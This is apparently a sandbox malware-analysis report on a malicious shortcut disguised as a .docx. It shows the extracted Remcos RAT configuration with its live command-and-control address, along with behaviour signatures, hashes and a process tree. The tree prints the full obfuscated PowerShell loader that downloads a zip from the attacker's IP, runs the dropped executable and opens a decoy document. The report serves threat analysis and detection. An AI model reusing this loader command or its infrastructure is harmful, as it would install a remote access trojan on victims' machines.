Windows 7 deprecation
Windows 7 will be removed from tria.ge on 2025-03-31
Overview
overview
10Static
static
1brt_1_0147.doc.lnk
windows7-x64
3brt_1_0147.doc.lnk
windows10-2004-x64
10oshad_88.docx.lnk
windows7-x64
3oshad_88.docx.lnk
windows10-2004-x64
10rv_luti_20...sx.lnk
windows7-x64
3rv_luti_20...sx.lnk
windows10-2004-x64
10telegrama_...pg.lnk
windows7-x64
3telegrama_...pg.lnk
windows10-2004-x64
10Analysis
-
max time kernel
149s -
max time network
153s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-en -
resource tags
arch:x64arch:x86image:win10v2004-20240802-enlocale:en-usos:windows10-2004-x64system -
submitted
30/08/2024, 11:11
Static task
static1
Behavioral task
behavioral1
Sample
brt_1_0147.doc.lnk
Resource
win7-20240729-en
Behavioral task
behavioral2
Sample
brt_1_0147.doc.lnk
Resource
win10v2004-20240802-en
Behavioral task
behavioral3
Sample
oshad_88.docx.lnk
Resource
win7-20240705-en
Behavioral task
behavioral4
Sample
oshad_88.docx.lnk
Resource
win10v2004-20240802-en
Behavioral task
behavioral5
Sample
rv_luti_2024_roku.xlsx.lnk
Resource
win7-20240708-en
Behavioral task
behavioral6
Sample
rv_luti_2024_roku.xlsx.lnk
Resource
win10v2004-20240802-en
Behavioral task
behavioral7
Sample
telegrama_ksv_po_btgr.jpg.lnk
Resource
win7-20240704-en
General
-
Target
oshad_88.docx.lnk
-
Size
15KB
-
MD5
b8fb0340c7a12ae9d4a3847ac14308cb
-
SHA1
4675f3d8a12942068e609fd2f12f2f020fe5762e
-
SHA256
a2bfa5db078137d391b392758fca56b34c8d3c9b0a7e23b1ba9fa9a2edf91000
-
SHA512
d9504ca3211e14412ba697d43983e21d100143c5a68be1799e74a704ac76ee6dc999aef09bcd10fb87b9b975bd8184815b6fc2e90ebd96e4f737244a6546d6b0
-
SSDEEP
48:88muavUQSEfFy63YMEDo/atNixCyQvGDDo/DBdCZZGXu/dZZIa7x:88y8GFy63hXEIxCyQ/zuqQ
Malware Config
Extracted
remcos
feetfuck
83.222.191.201:24251
-
audio_folder
MicRecords
-
audio_record_time
5
-
connect_delay
0
-
connect_interval
1
-
copy_file
remcos.exe
-
copy_folder
Remcos
-
delete_file
false
-
hide_file
false
-
hide_keylog_file
false
-
install_flag
false
-
keylog_crypt
false
-
keylog_file
logs.dat
-
keylog_flag
false
-
keylog_folder
remcos
-
mouse_option
false
-
mutex
Rmc-XTJ1YO
-
screenshot_crypt
false
-
screenshot_flag
false
-
screenshot_folder
Screenshots
-
screenshot_path
%AppData%
-
screenshot_time
10
-
take_screenshot_option
false
-
take_screenshot_time
5
Signatures
-
Blocklisted process makes network request 1 IoCs
flow pid Process 6 4960 powershell.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
description ioc Process Key value queried \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000\Control Panel\International\Geo\Nation cmd.exe -
Executes dropped EXE 2 IoCs
pid Process 3540 Newfts.exe 4232 Newfts.exe -
Loads dropped DLL 8 IoCs
pid Process 3540 Newfts.exe 3540 Newfts.exe 3540 Newfts.exe 3540 Newfts.exe 4232 Newfts.exe 4232 Newfts.exe 4232 Newfts.exe 4232 Newfts.exe -
Suspicious use of SetThreadContext 1 IoCs
description pid Process procid_target PID 4232 set thread context of 1336 4232 Newfts.exe 99 -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
System Location Discovery: System Language Discovery 1 TTPs 4 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
description ioc Process Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language explorer.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Newfts.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language Newfts.exe Key opened \REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language cmd.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString WINWORD.EXE Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz WINWORD.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily WINWORD.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU WINWORD.EXE -
Modifies registry class 1 IoCs
description ioc Process Key created \REGISTRY\USER\S-1-5-21-656926755-4116854191-210765258-1000_Classes\Local Settings powershell.exe -
Suspicious behavior: AddClipboardFormatListener 2 IoCs
pid Process 880 WINWORD.EXE 880 WINWORD.EXE -
Suspicious behavior: EnumeratesProcesses 7 IoCs
pid Process 4960 powershell.exe 4960 powershell.exe 3540 Newfts.exe 4232 Newfts.exe 4232 Newfts.exe 1336 cmd.exe 1336 cmd.exe -
Suspicious behavior: MapViewOfSection 2 IoCs
pid Process 4232 Newfts.exe 1336 cmd.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4960 powershell.exe -
Suspicious use of SetWindowsHookEx 9 IoCs
pid Process 880 WINWORD.EXE 880 WINWORD.EXE 880 WINWORD.EXE 880 WINWORD.EXE 880 WINWORD.EXE 880 WINWORD.EXE 880 WINWORD.EXE 880 WINWORD.EXE 880 WINWORD.EXE -
Suspicious use of WriteProcessMemory 19 IoCs
description pid Process procid_target PID 4340 wrote to memory of 4960 4340 cmd.exe 86 PID 4340 wrote to memory of 4960 4340 cmd.exe 86 PID 4960 wrote to memory of 3540 4960 powershell.exe 95 PID 4960 wrote to memory of 3540 4960 powershell.exe 95 PID 4960 wrote to memory of 3540 4960 powershell.exe 95 PID 4960 wrote to memory of 880 4960 powershell.exe 96 PID 4960 wrote to memory of 880 4960 powershell.exe 96 PID 3540 wrote to memory of 4232 3540 Newfts.exe 98 PID 3540 wrote to memory of 4232 3540 Newfts.exe 98 PID 3540 wrote to memory of 4232 3540 Newfts.exe 98 PID 4232 wrote to memory of 1336 4232 Newfts.exe 99 PID 4232 wrote to memory of 1336 4232 Newfts.exe 99 PID 4232 wrote to memory of 1336 4232 Newfts.exe 99 PID 4232 wrote to memory of 1336 4232 Newfts.exe 99 PID 1336 wrote to memory of 3356 1336 cmd.exe 109 PID 1336 wrote to memory of 3356 1336 cmd.exe 109 PID 1336 wrote to memory of 3356 1336 cmd.exe 109 PID 1336 wrote to memory of 3356 1336 cmd.exe 109 PID 1336 wrote to memory of 3356 1336 cmd.exe 109
Processes
-
C:\Windows\system32\cmd.execmd /c C:\Users\Admin\AppData\Local\Temp\oshad_88.docx.lnk1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:4340 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -win 1 echo sviYiTDifmVgwUmQzFgOPYIV; echo JzJdBqRYxLImYrcCLbpdqvjXsIJfpWlZfWY; echo ZKgorOmcNJZZMbukHvugkdfvZrLIe; if (-not(Test-Path 'signalmessenger.zip' -PathType Leaf)){&(G''et-C''om''ma''nd in???e-webr**) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/signalmessenger.zip -OutFile signalmessenger.zip}; echo SRChLBIQjesWVTeXbGypCUPpLnWGEpbzmlAuNYge; Expand-Archive -Path signalmessenger.zip -DestinationPath SecurityCheck; s''tar''t SecurityCheck/Newfts.exe; echo tAtLAczHKJaDGfRcGQexTEXSHDzsHxFvifZtnswW; &(Ge''t-Com''ma''nd in???e-webre***) -uri h''t''tp:''//''83''.''22''2''.''1''91''.''20''1/racs/oshad_88.docx -OutFile oshad_88.docx; echo SQwXgOGQnSfQxMfeOlQMGbil; s''t''a''rt oshad_88.docx2⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4960 -
C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe"C:\Users\Admin\AppData\Roaming\SecurityCheck\Newfts.exe"3⤵
- Executes dropped EXE
- Loads dropped DLL
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3540 -
C:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exeC:\Users\Admin\AppData\Roaming\localUltra_Zfv4\Newfts.exe4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:4232 -
C:\Windows\SysWOW64\cmd.exeC:\Windows\SysWOW64\cmd.exe5⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious behavior: MapViewOfSection
- Suspicious use of WriteProcessMemory
PID:1336 -
C:\Windows\SysWOW64\explorer.exeC:\Windows\SysWOW64\explorer.exe6⤵
- System Location Discovery: System Language Discovery
PID:3356
-
-
-
-
-
C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Roaming\oshad_88.docx" /o ""3⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:880
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
1.2MB
MD522ebbfb187b240f0b2084b91c66b162f
SHA1ed20f2968382a1faada84e692b46e49c6ea41958
SHA25610e777d8e5e3d6f69bbc153e2d51b98ec14688dad4eb573273fe627e9c569203
SHA512f397d15c95ab7fc8c324c26d04faa12e8832c27fd9b346020f4c5fe4601ccf93c29e9d75f7848bfc5dc3498a3331d8b28eb20f9dd0318b9a8303c71b2ea6b55e
-
Filesize
262KB
MD551d32ee5bc7ab811041f799652d26e04
SHA1412193006aa3ef19e0a57e16acf86b830993024a
SHA2566230814bf5b2d554397580613e20681752240ab87fd354ececf188c1eabe0e97
SHA5125fc5d889b0c8e5ef464b76f0c4c9e61bda59b2d1205ac9417cc74d6e9f989fb73d78b4eb3044a1a1e1f2c00ce1ca1bd6d4d07eeadc4108c7b124867711c31810
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
2B
MD5f3b25701fe362ec84616a93a45ce9998
SHA1d62636d8caec13f04e28442a0a6fa1afeb024bbb
SHA256b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
SHA51298c5f56f3de340690c139e58eb7dac111979f0d4dffe9c4b24ff849510f4b6ffa9fd608c0a3de9ac3c9fd2190f0efaf715309061490f9755a9bfdf1c54ca0d84
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
Filesize1KB
MD5ad6fdb41f79f59b7c9b9e8f469e38f94
SHA1e11364b70f91f6ca723c1d69ed37c9fc7758c649
SHA25605da327a8020b67a464ae84429a4c16a5000af328accf8473b301bd00d4789ec
SHA512628fdbd10cc900ca036deeb8cd055c998a8daff48c140ce73ee3765a83db111b7aae557adf83cd697daa8ad1ce342f06d3ffb328f98072ca199073954d2d33dc
-
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\fb3b0dbfee58fac8.customDestinations-ms
Filesize2KB
MD5466945fc76d3b8efc4eb8492b1f1ec14
SHA100a31a7cbd118f4b2e6c55d4b99a0a92b62bada8
SHA25602593a3cad86991a6428429afcfb7b94d648980cb4ec95010d65c07016d47ac3
SHA5121d5422f96289b0e7a607ec22da3dfb22c6446d0023757cd3254e216d72ae425a93453e7adfba24b98b0cc103c7f74b5de9bfc5d8937050b2c335a2f099fe0365
-
Filesize
2.1MB
MD5db7e67835fce6cf9889f0f68ca9c29a9
SHA15565afda37006a66f0e4546105be60bbe7970616
SHA256dbd3057a58fd3407c95418bc5d9c253adc8c658ee338f22d58374ed3ea37b738
SHA512bc2714bb408715e5e1cec1337b831e26dbda208183955a07ec8653a38c9c0f25f60f333a154b738927ce085e7bbff438963b941a6c2773b3e7325cd900e7651b
-
Filesize
1.1MB
MD559c15c71fd599ff745a862d0b8932919
SHA18384f88b4cac4694cf510ca0d3f867fd83cc9e18
SHA256c4ed07ad748661ce776ac6ebb4f8bef7619586bfb4443ce58c92d4b889f3d5c2
SHA512be3425d55dcaa361bc8481b87b2086454baca79a3c948de9acf9ef7d3084d6d987c328d665b45dfcd0510e2c97c980aa63d7cd669fe9fc1a67983c325593481e
-
Filesize
1.4MB
MD56fdb2e9ca6b7a5ad510e2b29831e3bc8
SHA14a14ee9d5660eb271a6b5f18a55ac3e05f952c68
SHA256f510c85b98fa6fe8d30133114a34b7f77884aa58e57a0561722eeb157dc98a38
SHA512d5248dd902d862afa060ab829fc3a39dccc26dab37737e14a3f9b90b1d3f900b3bf5821f450502a2124016acf0e84bd8979758827a92741f879b2fa4addfda06
-
Filesize
31KB
MD55dc69a3e2fda6cb740f363ef77edcc13
SHA1c177fabf17346531e07d562be11915bf2822148a
SHA2567c24abda04537749bfb1b2d2aa57a7c9261f41012435269347f7eb2d05f71621
SHA512b32848b6eded965245b759be1b72b6fc81acb4002eceae96004e88e549e21eb6eb1ceb3e51f6249d7dfb739f31223e623f7c525f677939bc935d2f6bffb50a9f
-
Filesize
1.0MB
MD5471076308d78944d45ab35d37134134a
SHA105cf2cf6e5d11ce10425b14d68cda3246cc47263
SHA25638d10ba2f4411eba8351d5b3fed74ca46bf856569dca757d055eb49d8471e11b
SHA5127f140546ceda85d3c178a61689a0743c75623b7d1e2dcc3e2d29128d7e13d9671cdb660ca46312dbd8ff3d63c12836caf1a6a54c074d66bed269184044bdd9c3
-
Filesize
15KB
MD535a1aa0fc4972286c1db07e513c3abbc
SHA189f5e48e02a03978cd7931651518472c38a7b272
SHA256be338409f57304177e56712593a9345b54d8361ef1fdc767a2fc683a6508cb4e
SHA512f111c86ea937763d091ed195507ee9b3bc95854e22bf31142a9e96bdeb5c273f91f803ea463f8296d5ce611de3a9d959e993fbc03261022a074a203d14ad29c4